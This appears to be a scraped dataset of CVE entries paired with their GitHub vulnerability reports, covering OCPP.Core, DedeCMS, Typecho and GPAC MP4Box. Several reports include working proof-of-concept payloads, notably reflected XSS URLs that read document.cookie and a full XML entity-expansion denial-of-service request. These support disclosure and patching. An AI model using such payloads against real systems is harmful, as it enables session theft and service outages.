This would also mean that the browser now includes authentication information on every request, thus making changes to authentication (see "Unauthenticated endpoints" above) much easier. | Collection of potential security issues in Jellyfin | https://api.github.com/repos/jellyfin/jellyfin/issues/5415/comments | 88 | 2021-03-08T17:36:50Z | 2025-04-23T19:55:37Z | https://github.com/jellyfin/jellyfin/issues/5415 | 824,791,596 | 5,415 | 5,788 |
CVE-2023-49958 | 2023-12-07T13:15:07.833 | An issue was discovered in Dalmann OCPP.Core through 1.2.0 for OCPP (Open Charge Point Protocol) for electric vehicles. The server processes mishandle StartTransaction messages containing additional, arbitrary properties, or duplicate properties. The last occurrence of a duplicate property is accepted. This could be exploited to alter transaction records or impact system integrity. | {
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"url": "https://github.com/dallmann-consulting/OCPP.Core/issues/36"
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] | 20 | https://github.com/dallmann-consulting/OCPP.Core/issues/36 | [
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] | github.com | [
"dallmann-consulting",
"OCPP.Core"
] | **Issue Description**:
The server accepts additional, arbitrary properties in the `StartTransaction` message, and when duplicate properties are provided, it accepts the last occurrence without validation. For example, a message with two different `connectorId` properties is processed using the value of the last one.
**Steps to Reproduce**:
1. Send a `StartTransaction` message with a custom additional property.
2. Send a `StartTransaction` message with duplicate properties, such as two different `connectorId` values.
3. Observe that the server accepts the message and processes it based on the last occurrence of the duplicate property.
**Expected Behavior**:
The server should either reject messages with unknown additional properties. For duplicate properties, it should reject the message.
**Actual Behavior**:
The server stores the value from the last occurrence of a duplicate property in the `StartTransaction` message, leading to potential misconfigurations.
**Potential Impact**:
Accepting additional and duplicate properties without validation may lead to unpredictable system behavior and could be exploited to alter transaction records or impact system integrity.
Best regards,
Gaetano Coppoletta | Unvalidated Acceptance of Additional and Duplicate Properties in `StartTransaction` Message | https://api.github.com/repos/dallmann-consulting/OCPP.Core/issues/36/comments | 11 | 2023-11-06T19:10:53Z | 2023-12-28T12:59:10Z | https://github.com/dallmann-consulting/OCPP.Core/issues/36 | 1,979,885,162 | 36 | 5,789 |
CVE-2023-49492 | 2023-12-07T16:15:07.587 | DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the imgstick parameter at selectimages.php. | {
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"Hebing123",
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DedeCMS-V5.7.111 has Reflective XSS vulnerabilities in imgstick and v parameters of selectimages.php
**Proof of Concept**
`http://target-ip/uploads/include/dialog/select_images.php?activepath=/uploads/uploads/allimg&f=form1.pic1&imgstick=smallundefined%27%3E%3CScRiPt%20%3Ealert(document.cookie)%3C/ScRiPt%3E//`
or
`http://target-ip/include/dialog/select_images.php?activepath=/uploads/allimg&f=form1.pic1&imgstick=smallundefined'><ScRiPt>alert(document.cookie)</ScRiPt>//`
`http://target-ip/uploads/include/dialog/select_images.php?activepath=/uploads/uploads/allimg&f=form1.pic1&imgstick=smallundefined&noeditor=yes&v=picview%3CScRiPt%20%3Ealert(document.cookie)%3C/ScRiPt%3E`
or
`http://target-ip/include/dialog/select_images.php?activepath=/uploads/allimg&f=form1.pic1&v=smallundefined'><ScRiPt >alert(document.cookie)</ScRiPt>//`
Reflective XSS vulnerability in imgstick and v parameters of select_images.php
**Impact**
Reflective XSS vulnerability triggered by administrator accessing the link.
| DedeCMS-V5.7.111 Reflective XSS vulnerability | https://api.github.com/repos/Hebing123/cve/issues/2/comments | 2 | 2023-11-23T10:03:34Z | 2024-11-28T10:41:23Z | https://github.com/Hebing123/cve/issues/2 | 2,007,862,637 | 2 | 5,790 |
CVE-2023-49967 | 2023-12-07T16:15:07.680 | Typecho v1.2.1 was discovered to be vulnerable to an XML Quadratic Blowup attack via the component /index.php/action/xmlrpc. | {
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"typecho",
"typecho"
] | ### Vulnerability report
**Description**
DoS via XML Quadratic Blowup Attack
**Proof of Concept**
```
POST /index.php/action/xmlrpc HTTP/1.1
Content-Length: 83630
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Host: 192.168.160.147
Connection: Keep-alive
<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE lolz [
<!ENTITY poc "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.............">
]>
<methodCall>
<methodName>aaa&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;&poc;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<params>
<param><value>aa</value></param>
<param><value>aa</value></param>
</params>
</methodCall>
```
### 问题出现的环境
- 操作系统版本：Ubuntu 20.04
- Apache/NGINX 版本：Nginx 1.22.1
- 数据库版本：5.7.34
- PHP 版本：7.4
- Typecho 版本：1.2.1
- 浏览器版本：Chrome/114.0.5735.289 Safari/537.36 | Typecho v1.2.1 XML Blowup Attack DoS vulnerability | https://api.github.com/repos/typecho/typecho/issues/1648/comments | 0 | 2023-11-27T08:12:21Z | 2024-01-23T10:30:18Z | https://github.com/typecho/typecho/issues/1648 | 2,011,731,209 | 1,648 | 5,791 |
CVE-2023-46871 | 2023-12-07T18:15:08.030 | GPAC version 2.3-DEV-rev602-ged8424300-master in MP4Box contains a memory leak in NewSFDouble scenegraph/vrml_tools.c:300. This vulnerability may lead to a denial of service. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://gist.github.com/ReturnHere/d0899bb03b8f5e8fae118f2b76888486"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2658"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://gist.github.com/ReturnHere/d0899bb03b8f5e8fae118f2b76888486"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2658"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "373C4F43-207C-47CB-B454-BD90A52F0ECF",
"versionEndExcluding": null,
"versionEndIncluding": "2.3-dev-rev602-ged8424300-master",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"401"
] | 401 | https://github.com/gpac/gpac/issues/2658 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [ ] I looked for a similar issue and couldn't find any.
- [ ] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [ ] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/bug-reporting/
1、version
./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev602-ged8424300-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
2、platform
uname -a
Linux returnzero-virtual-machine 6.2.0-35-generic #35~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Oct 6 10:23:26 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
3、Reproduce
./MP4Box -bt $poc
4、ASCAN
./MP4Box -bt '/home/returnzero/gpac/out/default/crashes/id:000000,sig:06,src:000008,time:167295,execs:4216,op:havoc,rep:6'
[iso file] extra box maxr found in hinf, deleting
[iso file] Unknown box type traI in parent moov
[iso file] Box "stss" (start 9939) has 32 extra bytes
[iso file] extra box maxr found in hinf, deleting
[iso file] Track with no sample description box !
[iso file] Incomplete box mdat - start 11495 size 861217
[iso file] Incomplete file while reading for dump - aborting parsing
[iso file] extra box maxr found in hinf, deleting
[iso file] Unknown box type traI in parent moov
[iso file] Box "stss" (start 9939) has 32 extra bytes
[iso file] extra box maxr found in hinf, deleting
[iso file] Track with no sample description box !
[iso file] Incomplete box mdat - start 11495 size 861217
[iso file] Incomplete file while reading for dump - aborting parsing
MPEG-4 BIFS Scene Parsing
[MP4 Loading] decoding sample 1 from track ID 8 failed
Error loading scene: BitStream Not Compliant
Error: BitStream Not Compliant
=================================================================
==3703==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x7f0d974b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x7f0d95d38b3b in NewSFDouble scenegraph/vrml_tools.c:300
#2 0x7f0d95d38b3b in gf_sg_vrml_field_pointer_new scenegraph/vrml_tools.c:558
SUMMARY: AddressSanitizer: 8 byte(s) leaked in 1 allocation(s).
5、Impact
This vulnerability allows a remote attacker to cause a denial of service on an affected gpac MP4Box. Exploiting this vulnerability requires user interaction, as the target must access a malicious page or open a malicious file.
6、poc
https://github.com/ReturnHere/CrashReport/blob/main/id%5E%25000000%2Csig%5E%2506%2Csrc%5E%25000008%2Ctime%5E%25167295%2Cexecs%5E%254216%2Cop%5E%25havoc%2Crep%5E%256
| Memory leaks in NewSFDouble scenegraph/vrml_tools.c:300 | https://api.github.com/repos/gpac/gpac/issues/2658/comments | 2 | 2023-10-23T06:39:49Z | 2023-12-09T11:54:02Z | https://github.com/gpac/gpac/issues/2658 | 1,956,459,097 | 2,658 | 5,792 |
CVE-2023-48958 | 2023-12-07T18:15:08.130 | gpac 2.3-DEV-rev617-g671976fcc-master contains memory leaks in gf_mpd_resolve_url media_tools/mpd.c:4589. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
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"source": "cve@mitre.org",
"tags": [
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"url": "https://gist.github.com/dr0v/1204f7a5f1e1497e7bca066638acfbf5"
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"source": "cve@mitre.org",
"tags": [
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"url": "https://github.com/gpac/gpac/issues/2689"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
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"url": "https://gist.github.com/dr0v/1204f7a5f1e1497e7bca066638acfbf5"
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{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2689"
}
] | [
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"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:2.3-dev-rev617-g671976fcc-master:*:*:*:*:*:*:*",
"matchCriteriaId": "F540C691-D615-4A9B-8DD6-69B8488E3BA1",
"versionEndExcluding": null,
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] | [
"401"
] | 401 | https://github.com/gpac/gpac/issues/2689 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | 1、Version
./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io/
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
2、ASAN Log
[DASH] Updated manifest:
P#1: start 0 - duration 0 - xlink none
[DASH] Manifest after update:
P#1: start 0 - duration 0 - xlink none
[DASH] Setting up period start 0 duration 0 xlink none ID DID1
[DASH] Cannot compute default segment duration
[DASH] AS#1 changed quality to bitrate 10 kbps - Width 1280 Height 720 FPS 30/1 (playback speed 1)
[DASH] AS#2 changed quality to bitrate 120 kbps - Width 384 Height 256 FPS 30/1 (playback speed 1)
[DASH] AS#3 changed quality to bitrate 120 kbps - Width 384 Height 256 FPS 30/1 (playback speed 1)
[DASH] AS#4 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1)
[DASH] AS#5 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1)
[DASH] AS#6 changed quality to bitrate 120 kbps - Width 384 Height 208 FPS 30/1 (playback speed 1)
[DASH] AS#7 changed quality to bitrate 120 kbps - Width 448 Height 208 FPS 30/1 (playback speed 1)
[DASH] AS#8 changed quality to bitrate 120 kbps - Width 448 Height 208 FPS 30/1 (playback speed 1)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] Segment duration unknown - cannot estimate current startNumber
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78824071088 ms: Initializing Timeline: startNumber=1 segmentNumber=78824071 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.88241e+07)
[DASH] Unable to resolve initialization URL: Bad Parameter
Filter dashin failed to setup: Bad Parameter
Filters not connected:
fout (dst=crash24_dash.mpd:gpac:segdur=10000/1000:profile=full:!sap:buf=1500:!check_dur:pssh=v:subs_sidx=0) (idx=1)
Arg segdur set but not used
Arg profile set but not used
Arg !sap set but not used
Arg buf set but not used
Arg !check_dur set but not used
Arg pssh set but not used
Arg subs_sidx set but not used
Error DASHing file: Bad Parameter
=================================================================
==3766==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 50 byte(s) in 1 object(s) allocated from:
#0 0x7f8f1245b9a7 in __interceptor_strdup ../../../../src/libsanitizer/asan/asan_interceptors.cpp:454
#1 0x7f8f112d489f in gf_mpd_resolve_url media_tools/mpd.c:4589
#2 0x7f8f11303e24 in gf_dash_resolve_url media_tools/dash_client.c:3447
SUMMARY: AddressSanitizer: 50 byte(s) leaked in 1 allocation(s).
3、Reproduction
./MP4Box -dash 10000 $poc
4、poc
[crash24.zip](https://www.mediafire.com/file/1sbsks4tzvzf1r3/crash24.zip/file)
5、Impact
This vulnerability is capable of causing crashes, or lead to dos.
6、 Env
Linux dr0v-virtual-machine 6.2.0-36-generic https://github.com/gpac/gpac/issues/37~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 9 15:34:04 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
AFL++ 4.09a
7、Credit
dr0v | LeakSanitizer: detected memory leaks in in gf_mpd_resolve_url media_tools/mpd.c:4589 | https://api.github.com/repos/gpac/gpac/issues/2689/comments | 0 | 2023-11-16T01:53:56Z | 2023-11-16T10:21:02Z | https://github.com/gpac/gpac/issues/2689 | 1,995,888,449 | 2,689 | 5,793 |
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